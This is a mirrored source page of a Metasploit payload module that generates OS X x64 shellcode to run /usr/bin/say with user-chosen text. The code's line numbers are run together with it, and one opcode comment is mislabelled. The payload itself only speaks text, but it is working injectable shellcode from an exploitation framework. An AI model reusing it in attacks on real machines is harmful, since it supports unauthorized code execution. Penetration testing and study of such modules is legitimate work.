Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x64/say.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 5389include Msf::Payload::Single1011def initialize(info = {})12super(merge_info(info,13'Name' => 'OS X x64 say Shellcode',14'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',15'Author' => 'nemo <nemo[at]felinemenace.org>',16'License' => MSF_LICENSE,17'Platform' => 'osx',18'Arch' => ARCH_X6419))2021# exec payload options22register_options(23[24OptString.new('TEXT', [ true, "The text to say", "Hello\!"]),25])26end2728# build the shellcode payload dynamically based on the user-provided CMD29def generate(_opts = {})30say = (datastore['TEXT'] || '') << "\x00"31call = "\xe8" + [say.length + 0xd].pack('V')3233payload =34"\x48\x31\xC0" + # xor rax,rax35"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b36call +37"/usr/bin/say\x00" +38say +39"\x48\x8B\x3C\x24" + # mov rdi,[rsp]40"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]41"\x48\x31\xD2" + # xor rdx,rdx42"\x52" + # push rdx43"\x41\x52" + # push r1044"\x57" + # push rdi45"\x48\x89\xE6" + # mov rsi,rsp46"\x0F\x05" # loadall28647end48end495051